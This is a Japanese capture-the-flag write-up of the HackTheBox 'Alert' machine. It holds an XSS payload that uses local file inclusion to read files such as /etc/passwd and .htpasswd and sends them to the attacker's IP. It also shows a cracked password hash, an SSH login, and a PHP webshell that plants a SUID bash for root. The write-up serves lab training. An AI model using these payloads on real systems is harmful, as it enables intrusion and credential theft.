Alert - Hackthebox Writeup
概要
列挙
nmap -sVC -Pn -oA Alert --min-rate 5000 10.129.231.188
ホスト名を、/etc/hosts に追加します。
10.129.231.188 alert.htb
アクセスすると、以下のページが表示されます。
ディレクトリスキャン
Gobuster
sudo gobuster dir -u http://alert.htb -w /usr/share/wordlists/dirb/common.txt -t 100 -x php
興味深いファイルがいくつか見つかったのでメモしておきます。
/contact.php (Status: 200) [Size: 24]
/css (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/index.php (Status: 302) [Size: 660] [--> index.php?page=alert]
/messages.php (Status: 200) [Size: 1]
/messages (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/server-status (Status: 403) [Size: 274]
/uploads
サブドメインの検出
Ffuf
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://alert.htb/ -H 'Host: FUZZ.alert.htb' -fw 20
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 208ms]
早速見つかったので、/etc/hosts に追加します。
10.129.231.188 alert.htb statistics.alert.htb
statistics.alert.htbにアクセスするとBasic認証情報を求められ、admin:adminなどのパスワードを入力するもアクセスできなかったため後回しにします
初期アクセス
Contact Us
Contact Usと呼ばれるページにアクセスするとメールアドレスとメッセージを送信できるフォームがあります。
試しに、Kaliマシンに対してリクエストを送信すると、Getリクエストが返されました。
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.231.188 - - [12/Dec/2024 20:17:16] "GET / HTTP/1.1" 200 -
Markdown Viewer
Markdown Viewerと呼ばれるページには、ファイルのアップロード機能があり、マークダウンファイルのみアップロード可能のようです。
試しに、helloと記載されたhello.mdをアップロードすると以下のように表示されます。
また、画面右下にある「Share markdown」をクリックすると、表示内容は同じですが、以下のURLが返されます。
http://alert.htb/visualizer.php?link_share=675ac8300e6746.95927868.md
MDファイル内にKaliマシンのIPを記述してアクセスしてみると、リクエストが返ってきました。
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.231.188 - - [12/Dec/2024 20:17:16] "GET / HTTP/1.1" 200 -
さらに、ローカルファイルを読み取れないか試してみます。
<script>
fetch("/etc/passwd")
.then((res) => res.text())
.then((text) => {
const Http = new XMLHttpRequest();
const url="http://10.10.16.14/?content="+encodeURIComponent(text);
Http.open("GET", url);
Http.send();
})
.catch((e) => console.error(e));
</script>
以下レスポンスが得られました。
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.16.14 - - [12/Dec/2024 20:30:39] "GET / HTTP/1.1" 200 -
10.10.16.14 - - [12/Dec/2024 20:34:08] "GET /?content=%3C!DOCTYPE%20HTML%20PUBLIC%20%22-%2F%2FIETF%2F%2FDTD%20HTML%202.0%2F%2FEN%22%3E%0A%3Chtml%3E%3Chead%3E%0A%3Ctitle%3E404%20Not%20Found%3C%2Ftitle%3E%0A%3C%2Fhead%3E%3Cbody%3E%0A%3Ch1%3ENot%20Found%3C%2Fh1%3E%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C%2Fp%3E%0A%3Chr%3E%0A%3Caddress%3EApache%2F2.4.41%20(Ubuntu)%20Server%20at%20alert.htb%20Port%2080%3C%2Faddress%3E%0A%3C%2Fbody%3E%3C%2Fhtml%3E%0A HTTP/1.1" 200 -
CyberChefでURLデコードした結果
content=<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at alert.htb Port 80</address>
</body></html>
messages.phpを読み取ってみます。
<script>
fetch("http://alert.htb/messages.php")
......
すると以下のように返されます。
10.10.16.14 - - [12/Dec/2024 20:56:22] "GET /?content=%0A HTTP/1.1" 200 -
ここで、冒頭のContact Usのメッセージ欄にLinkURLを記入して送信すると、レスポンスが返ってきます。
10.129.231.188 - - [12/Dec/2024 22:09:05] "GET /?content=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -
10.129.231.188 - - [12/Dec/2024 22:09:05] "GET /?content=<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
試しに、以下のようにしてローカルのをファイルの読み取りを試したところ、失敗。
LFI脆弱性に望みをかけて実行したところ、passwdの読み取りに成功しました。
<script>
fetch("http://alert.htb/message.php?file=/etc/passwd")
......
<script>
fetch("http://alert.htb/message.php?file=../../../../../etc/passwd")
......
10.129.231.188 - - [12/Dec/2024 20:58:17] "GET /?content=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A
その後、SSHの秘密鍵などの資格情報の読み取りに失敗しましたが、本サイトのサーバーがApacheであることを考慮し、以下ファイルを読み取りました。
/etc/apache2/sites-available/000-default.conf
読み取ってみたところ、以下内容が返されました。
10.129.231.188 - - [12/Dec/2024 21:12:56] "GET /?content=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A
10.129.231.188 - - [12/Dec/2024 21:12:56] "GET /?content=<pre><VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
</pre>
新たなサブドメインは見つかりませんでしたが、興味深いパスがあります。
/var/www/statistics.alert.htb/.htpasswd
読み取ると、以下の資格情報が返されます。
10.129.231.188 - - [12/Dec/2024 21:15:18] "GET /?content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
10.129.231.188 - - [12/Dec/2024 21:15:18] "GET /?content=<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>
HTTP/1.1" 200 -
Hashcatでクラックしてみます。
└─$ hashcat -h | grep apr
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
└─$ hashcat -m 1600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
SSHでログインしてみたところ、成功しました。
└─$ ssh albert@alert.htb
権限昇格
netstatコマンドを実行すると、8080ポートでリッスンしているサービスが確認できます。
netstat -tuln
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
udp 0 0 127.0.0.53:53 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
curlを使用して、リクエストしてみるとwebsite-monitorというサービスが実行されているようです。
albert@alert:~$ curl -s 127.0.0.1:8080
</script></div>
<footer>
<p>Website Monitor is an open source project inspired by <a href="https://broke.lol">broke.lol</a>. <a href="https://github.com/neatnik/website-monitor">Download it on GitHub</a>.</p>
</footer>
</main>
</body>
</html>
また、/opt ディレクトリを確認するとwebsite-monitorディレクトリがあり、その中のconfigディレクトリのみ、現在のユーザーで書き込むことができます。
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:~$ ls -l /opt/website-monitor/
total 84
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates
つまり、configファイルにWebshellを書きこみ、アクセスすればRoot権限のコンテキストで
任意のコマンドを実行できます。
使用したペイロードは以下です。
<?php shell_exec('cp /bin/bash /tmp/shell;chmod +s /tmp/shell'); ?>
bashバイナリをtmpファイルにコピーし、SUIDを付与します。
albert@alert:/opt/website-monitor/config$ wget http://10.10.16.14:8000/exploit.php
albert@alert:/opt/website-monitor/config$ curl -s 127.0.0.1:8080/config/exploit.php
curlでアクセスすると、SUIDのバイナリがコピーされました。
Root
albert@alert:/opt/website-monitor/config$ /tmp/bash -p
-bash: /tmp/bash: No such file or directory
albert@alert:/opt/website-monitor/config$ /tmp/shell -p
shell-5.0# id
uid=1000(albert) gid=1000(albert) euid=0(root) egid=0(root) groups=0(root),1000(albert),1001(management)
shell-5.0# ls /root
root.txt scripts
Discussion